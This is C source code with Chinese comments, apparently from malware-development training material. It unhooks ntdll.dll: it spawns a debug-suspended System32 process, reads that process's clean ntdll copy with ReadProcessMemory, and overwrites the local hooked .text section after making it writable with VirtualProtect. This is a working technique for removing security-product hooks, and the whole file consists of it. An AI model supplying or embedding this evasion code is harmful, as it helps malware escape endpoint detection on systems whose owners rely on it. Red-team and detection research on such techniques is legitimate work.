// 获取指定模块基址的镜像大小
SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule) {

	// 1. 获取 DOS 头
	PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return NULL;
	
	// 2. 获取 NT 头
	PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return NULL;

	// 3. 返回 SizeOfImage
	return pImgNtHdrs->OptionalHeader.SizeOfImage;
}

// 从挂起的进程中读取 ntdll.dll
BOOL ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT PVOID* ppNtdllBuf) {

	CHAR	cWinPath[MAX_PATH / 2]	= { 0 };
	CHAR	cProcessPath[MAX_PATH]	= { 0 };

	PVOID	pNtdllModule		= FetchLocalNtdllBaseAddress(); // 本地基址 = 远程基址
	PBYTE	pNtdllBuffer		= NULL;
	SIZE_T	sNtdllSize		    = NULL,
		    sNumberOfBytesRead	= NULL;

	STARTUPINFO                    Si     = { 0 };
	PROCESS_INFORMATION            Pi     = { 0 };

	// 清理结构体 (将成员置为 0)
	RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	// 设置结构体大小
	Si.cb = sizeof(STARTUPINFO);

	// 获取 Windows 目录 (例如 C:\Windows)
	if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
		printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}

	// 拼接目标进程路径，例如 C:\Windows\System32\notepad.exe
	// 'sprintf_s' 比 'sprintf' 更安全
	sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\\System32\\%s", cWinPath, lpProcessName);
	
	// 以 DEBUG_PROCESS 标志创建进程 (作为 CREATE_SUSPENDED 的替代/变种)
	if (!CreateProcessA(
		NULL,
		cProcessPath,
		NULL,
		NULL,
		FALSE,
		DEBUG_PROCESS,		// 使用调试模式挂起
		NULL,
		NULL,
		&Si,
		&Pi)) {
		printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
		goto _EndOfFunc;
	}

	// 1. 获取要读取的大小
	sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
	if (!sNtdllSize)
		goto _EndOfFunc;
	
	// 2. 分配本地缓冲区
	pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
	if (!pNtdllBuffer)
		goto _EndOfFunc;

	// 3. 读取远程进程的 ntdll.dll
	if (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuffer, sNtdllSize, &sNumberOfBytesRead) || sNumberOfBytesRead != sNtdllSize) {
		printf("[!] ReadProcessMemory Failed with Error : %d \n", GetLastError());
		printf("[i] Read %d of %d Bytes \n", sNumberOfBytesRead, sNtdllSize);
		goto _EndOfFunc;
	}

	*ppNtdllBuf = pNtdllBuffer;

	// 终止辅助进程
	if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi.hProcess, 0)) {
                // 进程终止成功
	}


_EndOfFunc:
	if (Pi.hProcess)
		CloseHandle(Pi.hProcess);
	if (Pi.hThread)
		CloseHandle(Pi.hThread);
	if (*ppNtdllBuf == NULL)
		return FALSE;
	else
		return TRUE;

}

BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {

	PVOID               pLocalNtdll      = (PVOID)FetchLocalNtdllBaseAddress();

	// 获取本地这 DOS 头
	PIMAGE_DOS_HEADER   pLocalDosHdr      = (PIMAGE_DOS_HEADER)pLocalNtdll;
	if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return FALSE;

	// 获取本地 NT 头
	PIMAGE_NT_HEADERS   pLocalNtHdrs      = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
	if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return FALSE;


	PVOID		pLocalNtdllTxt	 = NULL, // 本地被挂钩的 .text 节基址
			    pRemoteNtdllTxt  = NULL; // 干净的 .text 节基址 (来自挂起进程副本)
	SIZE_T		sNtdllTxtSize	 = NULL; // .text 节大小


	// 获取第一个节头
	PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);

	for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {

		// 检查节名是否为 ".text" 
		// (使用位掩码技巧忽略大小写，'xet.' 是 ".text" 的反向小端表示)
		if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {
			pLocalNtdllTxt	= (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
			
			// 注意：这里直接使用 VirtualAddress，因为 pUnhookedNtdll 也是来自内存映射
			pRemoteNtdllTxt	= (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
			sNtdllTxtSize	= pSectionHeader[i].Misc.VirtualSize;
			break;
		}
	}

//---------------------------------------------------------------------------------------------------------------------------
	
	// 简单的检查，确保获取了所有信息
	if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
		return FALSE;

	// 再次检查内容是否一致 (头几个字节通常应该相同，如果不相同可能是出了大问题)
	// 这一步不是必须的，但在调试时很有用
	if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
		return FALSE;

//---------------------------------------------------------------------------------------------------------------------------
	
	DWORD dwOldProtection = NULL;

	// 1. 修改内存权限为可写 (PAGE_EXECUTE_WRITECOPY)
	if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
		printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	// 2. 覆盖 .text 节 (执行替换)
	memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);

	// 3. 恢复原始内存权限
	if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {
		printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

	return TRUE;
}